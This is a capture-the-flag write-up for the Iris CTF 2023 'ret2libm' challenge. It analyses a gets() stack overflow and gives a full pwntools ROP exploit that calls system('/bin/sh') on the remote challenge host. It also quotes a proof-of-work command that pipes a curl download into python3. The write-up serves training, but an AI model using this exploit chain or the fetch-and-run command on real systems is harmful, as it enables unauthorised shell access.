Iris CTF 2023 - ret2libm (simple BOF)

Info

49 Solves (4.7% of users)
392 Points (500 Points)

description

I need to make a pwn? Let’s go with that standard warmup rop thing… what was it… ret2libm?
nc ret2libm.chal.irisc.tf 10001

Hint!
The challenge server may be acting up. If your solution works locally and on the docker but not on remote, please open a ticket!

By: sera

for player

1
2
3
4
5
6
.
├── chal
├── chal.c
├── libc-2.27.so
├── libm-2.27.so
└── Makefile
1
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2c6fac9007a0e13f2ca1978d85d974afb7fd03d9, not stripped

This challenge use a libc-2.27.so So enviroment seems to Ubuntu 18.04 that different to me. That enviroment is different from mine, I downloaded ld file with docker. And then I patched it.

1
2
3
4
5
[jir4vvit@arch ret2libm]$ ldd chal
linux-vdso.so.1 (0x00007fff13dc7000)
./libm-2.27.so (0x00007fbe43800000)
./libc-2.27.so (0x00007fbe43400000)
./ld-2.27.so => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fbe43e9a000)

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <math.h>
#include <stdio.h>

// gcc -fno-stack-protector -lm

int main(int argc, char* argv) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char yours[8];

printf("Check out my pecs: %p\n", fabs);
printf("How about yours? ");
gets(yours);
printf("Let's see how they stack up.");

return 0;
}

The challenge leaks the pointer to a fabs in libm.

Vulnerability

The gets() functions cause to Buffer overflow. We can change the RIP.

Exploit

Exploit Scenario

Just do it!

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import subprocess

context.arch = 'amd64'
context.log_level = 'DEBUG'

e = ELF('./chal')
# p = process('./chal', env = {
# 'LD_PRELOAD' : './libm-2.27.so'
# })
# p = process('./chal')
p = remote('ret2libm.chal.irisc.tf', 10001)
libc = ELF('./libc-2.27.so')
libm = ELF('./libm-2.27.so')

def server():
p.recvuntil('python3')
cmd = b'python3' + p.recvline()[:-1]
print(cmd)
res = subprocess.check_output(['bash', '-c', cmd])
print(res)

p.sendlineafter('Solution?', res)

server()

p.recvuntil('pecs:')
leak = int(p.recvline(), 16)
info(hex(leak))

libm_base = leak - libm.sym['fabsf64']
info(hex(libm_base))

libc.address = libm_base - 0x3f1000
info(hex(libc.address))

payload = b''
payload += b'A' * (0x8 + 0x8)
# payload += p64(libc.address + 0x02164f) # pop rdi
# payload += p64(next(libc.search(b'/bin/sh\x00')))
# payload += p64(libc.address + 0x8aa) # ret
# payload += p64(libc.sym['system'])`

payload += p64(libm_base + 0xbc37) # pop rdi
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(libm_base + 0x2a2) # ret
payload += p64(libc.sym['system'])

p.sendlineafter('yours?', payload)

p.interactive()

In this CTF, Perhaps to prevent brute force, the following process is added when connecting to the server.

1
2
3
4
5
6
7
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.ADQ6.AADPFiV0veQZlf8vJux482QM
===================

Solution?

And In this challenge, We can use onegadget. :-)

Flag

1
irisctf{oh_its_ret2libc_anyway}